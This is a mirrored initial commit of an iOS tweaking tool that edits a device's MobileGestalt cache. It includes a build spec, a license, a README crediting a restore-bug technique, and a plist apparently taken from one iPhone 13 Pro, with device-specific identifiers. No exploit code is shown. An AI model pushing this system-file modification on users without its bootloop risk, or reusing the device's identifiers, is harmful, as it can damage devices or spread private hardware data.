mirror of
https://github.com/leminlimez/Nugget.git
synced 2025-04-08 04:23:05 +08:00
Initial commit
This commit is contained in:
leminlimez
2
.gitattributes
vendored
Normal file
2
.gitattributes
vendored
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
# Auto detect text files and perform LF normalization
|
||||||
|
* text=auto
|
||||||
44
CODENAME Nugget.spec
Normal file
44
CODENAME Nugget.spec
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
# -*- mode: python ; coding: utf-8 -*-
|
||||||
|
|
||||||
|
|
||||||
|
a = Analysis(
|
||||||
|
['main_app.py'],
|
||||||
|
pathex=[],
|
||||||
|
binaries=[],
|
||||||
|
datas=[],
|
||||||
|
hiddenimports=['zeroconf', 'zeroconf._utils.ipaddress', 'zeroconf._handlers.answers'],
|
||||||
|
hookspath=[],
|
||||||
|
hooksconfig={},
|
||||||
|
runtime_hooks=[],
|
||||||
|
excludes=[],
|
||||||
|
noarchive=False,
|
||||||
|
optimize=0,
|
||||||
|
)
|
||||||
|
pyz = PYZ(a.pure)
|
||||||
|
|
||||||
|
exe = EXE(
|
||||||
|
pyz,
|
||||||
|
a.scripts,
|
||||||
|
[],
|
||||||
|
exclude_binaries=True,
|
||||||
|
name='CODENAME Nugget',
|
||||||
|
debug=False,
|
||||||
|
bootloader_ignore_signals=False,
|
||||||
|
strip=False,
|
||||||
|
upx=True,
|
||||||
|
console=True,
|
||||||
|
disable_windowed_traceback=False,
|
||||||
|
argv_emulation=False,
|
||||||
|
target_arch=None,
|
||||||
|
codesign_identity=None,
|
||||||
|
entitlements_file=None,
|
||||||
|
)
|
||||||
|
coll = COLLECT(
|
||||||
|
exe,
|
||||||
|
a.binaries,
|
||||||
|
a.datas,
|
||||||
|
strip=False,
|
||||||
|
upx=True,
|
||||||
|
upx_exclude=[],
|
||||||
|
name='CODENAME Nugget',
|
||||||
|
)
|
||||||
21
LICENSE
Normal file
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2024 leminlimez
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
28
README.md
Normal file
28
README.md
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
# CODENAME Nugget
|
||||||
|
Unlock your device's full potential! Works on all versions iOS 16.0+
|
||||||
|
|
||||||
|
Note: I am not responsible if your device bootloops. Please back up your data before using.
|
||||||
|
|
||||||
|
## Running the Program
|
||||||
|
Requirements:
|
||||||
|
- pymobiledevice3
|
||||||
|
|
||||||
|
Note: It is highly recommended to use a virtual environment:
|
||||||
|
```
|
||||||
|
python -m venv .env # only needed once
|
||||||
|
source .env/bin/activate
|
||||||
|
pip install -r requirements.txt # only needed once
|
||||||
|
python main_app.py
|
||||||
|
```
|
||||||
|
|
||||||
|
## Getting the File
|
||||||
|
You need to get the mobilegestalt file that is specific to your device. To do that, follow these steps:
|
||||||
|
1. Install the `Shortcuts` app from the iOS app store.
|
||||||
|
2. Download this shortcut: https://www.icloud.com/shortcuts/d6f0a136ddda4714a80750512911c53b
|
||||||
|
3. Save the file and share it to your computer.
|
||||||
|
4. Place it in the same folder as the python file (or specify the path in the program)
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
- [JJTech](https://github.com/JJTech0130) for Sparserestore/[TrollRestore](https://github.com/JJTech0130/TrollRestore)
|
||||||
|
- [pymobiledevice3](https://github.com/doronz88/pymobiledevice3)
|
||||||
|
|
||||||
344
com.apple.MobileGestalt.plist
Normal file
344
com.apple.MobileGestalt.plist
Normal file
@@ -0,0 +1,344 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>CacheData</key>
|
||||||
|
<data>
|
||||||
|
AAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAA
|
||||||
|
AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAA
|
||||||
|
AAABAAAAAAAAAAEAAAAAAAAAQx8AAAAAAAACAAAAAAAAAAEAAAAAAAAAuAsAAAAAAAAI
|
||||||
|
BwAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAIAaAAAAAQAAAAAAAAAAAAAAAAAA
|
||||||
|
AHAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AQAAAAAAAAABAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAADAAAAQAA
|
||||||
|
AAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAB
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEIEAAAAAAAAAAAAAAAAA
|
||||||
|
AAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVU9QgAAAAABAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAA
|
||||||
|
AAABAAAAAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU
|
||||||
|
AAAAAAAAAAAAAIABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEA
|
||||||
|
AAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAA
|
||||||
|
AAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEA
|
||||||
|
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAA
|
||||||
|
AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAA
|
||||||
|
AAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEA
|
||||||
|
AAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAEAAAAAAAAAAEAAAAAAAAAAQAAAAAA
|
||||||
|
AAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA
|
||||||
|
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAEAAAAAAAAACgAAAAAAAABkAAAAAAAAAOQAAAAAAAAA5AAAAAAA
|
||||||
|
AADQBwAAAAAAAAAAAAAAAAAAAQAAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAQAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAAQAAAAAAAAAAAAAAAAAA
|
||||||
|
AAEAAAAAAAAAZAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAPAAAAAAAAAA8AAAAAAAAADwA
|
||||||
|
AAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAACAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAA
|
||||||
|
AAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAA
|
||||||
|
AJqZmT4AAAAAAAAAAAAAAAACAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAA
|
||||||
|
AAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAADM
|
||||||
|
AQAAAAAAAAAAQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAA
|
||||||
|
AAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAA
|
||||||
|
AAAAAAAAAAMAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAB
|
||||||
|
AAAAAAAAAAIAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAADwAAAAAAAAAPAAAAAAAAAAAwAA
|
||||||
|
AAAAAAABAAAAAAAAAGQAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAPAAAAAAA
|
||||||
|
AAA8AAAAAAAAADwAAAAAAAAAPAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAA
|
||||||
|
AQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA
|
||||||
|
AAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAB
|
||||||
|
AAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAA
|
||||||
|
AAAAYEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA
|
||||||
|
AAAAZAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA
|
||||||
|
AAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAZAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEA
|
||||||
|
AAAAAAAAAAAAAAAAAAD/////AAAAAAEBAQEBAQEBAQAAAQABAQEBAQEBAQEBAQEBAAEA
|
||||||
|
AQEBAQEAAAEBAQEAAAABAAEAAAEAAAEBAQAAAAABAAAAAQEBAAAAAQEBAQEBAQABAQEB
|
||||||
|
AQEAAQEAAAEBAQAAAQABAQEBAQEAAQABAQEBAQEBAAEAAQABAQABAQABAQAAAQEBAQEB
|
||||||
|
AAEBAQABAQEBAQEBAQEBAQEAAQABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAQEBAQEB
|
||||||
|
AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAEBAQEBAQEBAQEBAAEBAQEBAQEBAQEBAQEB
|
||||||
|
AQEBAQEBAQEBAQEBAQEBAQEAAQABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAEA
|
||||||
|
AQEBAAEBAQEAAQABAAABAAAAAQEBAQEAAAAAAAABAQEBAQEBAQEBAAABAAABAQEBAQEB
|
||||||
|
AQEBAQEBAQEBAQEBAQABAQEBAQEBAQEBAQEAAQABAQEAAQEBAQEBAQEBAQEBAQEBAQEB
|
||||||
|
AQEBAQEBAQEBAQAAAQEAAAEAAQEBAQEBAQEBAQEAAQAAAQAAAQEAAQEBAQAAAAAAAAEB
|
||||||
|
AQEBAQEBAQEAAAABAQEAAQEBAQEBAQEBAQEBAQEBAQEAAQAAAQEBAQABAQEBAQEBAQEB
|
||||||
|
AQEAAQAAAQEBAAAAAAEBAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAAAAQEB
|
||||||
|
AQEBAAABAAEAAQEAAAAAAAABAQABAQEBAQEBAAEBAAAAAQEAAQEBAQEBAQEBAQEAAAAB
|
||||||
|
AQABAQABAAAAAAAAAQEBAQEBAQEBAAAAAAAAAAEBAQEBAAAAAAEBAQABAQEBAQEBAQEA
|
||||||
|
AAAAAAABAQEBAQEB
|
||||||
|
</data>
|
||||||
|
<key>CacheExtra</key>
|
||||||
|
<dict>
|
||||||
|
<key>+3Uf0Pm5F8Xy7Onyvko0vA</key>
|
||||||
|
<string>iPhone</string>
|
||||||
|
<key>/YYygAofPDbhrwToVsXdeA</key>
|
||||||
|
<string>D63AP</string>
|
||||||
|
<key>0+nc/Udy4WNG8S+Q7a/s1A</key>
|
||||||
|
<string>iPhone14,2</string>
|
||||||
|
<key>0GizaJLOyfzgAbxQ/5aniA</key>
|
||||||
|
<data>
|
||||||
|
AQAAAAAAAAAAAAAAAwAAAA==
|
||||||
|
</data>
|
||||||
|
<key>37NVydb//GP/GrhuTN+exg</key>
|
||||||
|
<true/>
|
||||||
|
<key>4W7X4OWHjri5PGaAGsCWxw</key>
|
||||||
|
<integer>52</integer>
|
||||||
|
<key>4qfpxrvLtWillIHpIsVgMA</key>
|
||||||
|
<string>BFFBB735-EC01-4194-82D1-39153313541C</string>
|
||||||
|
<key>5pYKlGnYYBzGvAlIU8RjEQ</key>
|
||||||
|
<string>t8110</string>
|
||||||
|
<key>913P3Zsei09w0GSSOaBD+w</key>
|
||||||
|
<data>
|
||||||
|
AAAAAAAAAAAAAADgi73QPwAAAAAAAAAAAAAAALsltD8=
|
||||||
|
</data>
|
||||||
|
<key>91LyMcx4z1w3SGVeqteMnA</key>
|
||||||
|
<data>
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAA==
|
||||||
|
</data>
|
||||||
|
<key>96GRvvjuBKkU4HzNsYcHPA</key>
|
||||||
|
<string>11.2.0</string>
|
||||||
|
<key>97JDvERpVwO+GHtthIh7hA</key>
|
||||||
|
<string>A2483</string>
|
||||||
|
<key>9MZ5AdH43csAUajl/dU+IQ</key>
|
||||||
|
<array>
|
||||||
|
<integer>1</integer>
|
||||||
|
</array>
|
||||||
|
<key>9UCjT7Qfi4xLVvPAKIzTCQ</key>
|
||||||
|
<string>Beta</string>
|
||||||
|
<key>9s45ldrCC1WF+7b6C4H2BA</key>
|
||||||
|
<string>iPhone</string>
|
||||||
|
<key>AoKnINTLPoKML3ctoP0AZg</key>
|
||||||
|
<dict>
|
||||||
|
<key>buffer-compression</key>
|
||||||
|
<false/>
|
||||||
|
<key>media-compression</key>
|
||||||
|
<false/>
|
||||||
|
<key>universal-buffer-compression</key>
|
||||||
|
<true/>
|
||||||
|
<key>universal-buffer-compression-requires-plane-alignment-2048</key>
|
||||||
|
<false/>
|
||||||
|
<key>universal-lossy-buffer-compression</key>
|
||||||
|
<true/>
|
||||||
|
<key>universal-multislice-buffer-compression</key>
|
||||||
|
<false/>
|
||||||
|
<key>universal-pARGB10101010-buffer-compression</key>
|
||||||
|
<false/>
|
||||||
|
</dict>
|
||||||
|
<key>DViRIxZ/ZwO007CLcEYvZw</key>
|
||||||
|
<string></string>
|
||||||
|
<key>HXTqT3UXOKuTEklxz+wMAA</key>
|
||||||
|
<data>
|
||||||
|
KwAAAE9JUEekAAAAAAEAAA==
|
||||||
|
</data>
|
||||||
|
<key>IMLaTlxS7ITtwfbRfPYWuA</key>
|
||||||
|
<string>A</string>
|
||||||
|
<key>J1QHVh74Nnd6Rqyiq71/yw</key>
|
||||||
|
<integer>1841299456</integer>
|
||||||
|
<key>JHXk7RXOxvlqK+SxkwcM2A</key>
|
||||||
|
<array>
|
||||||
|
<string>nfc-express</string>
|
||||||
|
<string>alisha</string>
|
||||||
|
<string>find-my</string>
|
||||||
|
</array>
|
||||||
|
<key>JUWcn+5Ss0nvr5w/jk4WEg</key>
|
||||||
|
<string>iPhone</string>
|
||||||
|
<key>JhEU414EIaDvAz8ki5DSqw</key>
|
||||||
|
<string>3</string>
|
||||||
|
<key>LTI8wHvEYKy8zR1IXBW1uQ</key>
|
||||||
|
<string>P3</string>
|
||||||
|
<key>LeSRsiLoJCMhjn6nd6GWbQ</key>
|
||||||
|
<string>iBoot-11881.2.10</string>
|
||||||
|
<key>NUYAz1eq3Flzt7ZQxXC/ng</key>
|
||||||
|
<real>1.0</real>
|
||||||
|
<key>NaA/zJV7myg2w4YNmSe4yQ</key>
|
||||||
|
<string>4387</string>
|
||||||
|
<key>Nzu4E/VsXjEIa83CkRdZrQ</key>
|
||||||
|
<string>sha2-384</string>
|
||||||
|
<key>PdprWthPO6YyrO6p1vLRgQ</key>
|
||||||
|
<data>
|
||||||
|
AAAAAAAAAAAAAICV2RRzQAAAAAAAAAAAAAAAIRmbUEA=
|
||||||
|
</data>
|
||||||
|
<key>QHxt+hGLaBPbQJbXiUJX3w</key>
|
||||||
|
<true/>
|
||||||
|
<key>QbQzuIbef01P4JeoL9EmKg</key>
|
||||||
|
<real>1.0</real>
|
||||||
|
<key>SbXytSPZXB1jQ8GLZOxCPw</key>
|
||||||
|
<data>
|
||||||
|
AAAAAAAAAAAAAACApCbXPwAAAAAAAAAAAAAAALsltD8=
|
||||||
|
</data>
|
||||||
|
<key>TZ/0j62wM3D0CuRt+Nc/Lw</key>
|
||||||
|
<data>
|
||||||
|
HuVX26BXTN1Zf+WnPGp7JcMyhyo=
|
||||||
|
</data>
|
||||||
|
<key>VuGdqp8UBpi9vPWHlPluVQ</key>
|
||||||
|
<array>
|
||||||
|
<string>iPhone14,2</string>
|
||||||
|
<string>iPhone13,3</string>
|
||||||
|
</array>
|
||||||
|
<key>WPEkba78QeFFU/wgqpOx6w</key>
|
||||||
|
<data>
|
||||||
|
AAAAAAAA8D8AAABgSHXSPwAAAAAAAAAAAAAAgOIFwD8=
|
||||||
|
</data>
|
||||||
|
<key>Z/dqyWS6OZTRy10UcmUAhw</key>
|
||||||
|
<string>iPhone 13 Pro</string>
|
||||||
|
<key>aD51uqjUwgRKjAC04BCrxg</key>
|
||||||
|
<data>
|
||||||
|
AAAAAAAAAAAAAECTdJhrQAAAAAAAAAAAAAAAIRmbUEA=
|
||||||
|
</data>
|
||||||
|
<key>bbtR9jQx50Fv5Af/affNtA</key>
|
||||||
|
<string>iPhone 13 Pro</string>
|
||||||
|
<key>c7fCSBIbX1mFaRoKT5zTIw</key>
|
||||||
|
<string>USI</string>
|
||||||
|
<key>emXA9B552rnSoI7xXE91DA</key>
|
||||||
|
<real>1.0</real>
|
||||||
|
<key>gBw7IWiBnLHaA+lBrZBgWw</key>
|
||||||
|
<integer>600</integer>
|
||||||
|
<key>gD8SNRcHQeIxCAvsp+2vjA</key>
|
||||||
|
<data>
|
||||||
|
AQAAAAAAAABNV1dKAAAAAA==
|
||||||
|
</data>
|
||||||
|
<key>h63QSdBCiT/z0WU6rdQv6Q</key>
|
||||||
|
<string>LL</string>
|
||||||
|
<key>h9jDsbgj7xIVeIQ8S3/X3Q</key>
|
||||||
|
<string>iPhone14,2</string>
|
||||||
|
<key>ivIu8YTDnBSrYv/SN4G8Ag</key>
|
||||||
|
<string>iPhone OS</string>
|
||||||
|
<key>k+KTni1jrwErpcDMEnn3aw</key>
|
||||||
|
<string>1754</string>
|
||||||
|
<key>k7QIBwZJJOVw+Sej/8h8VA</key>
|
||||||
|
<string>arm64e</string>
|
||||||
|
<key>mZfUC7qo4pURNhyMHZ62RQ</key>
|
||||||
|
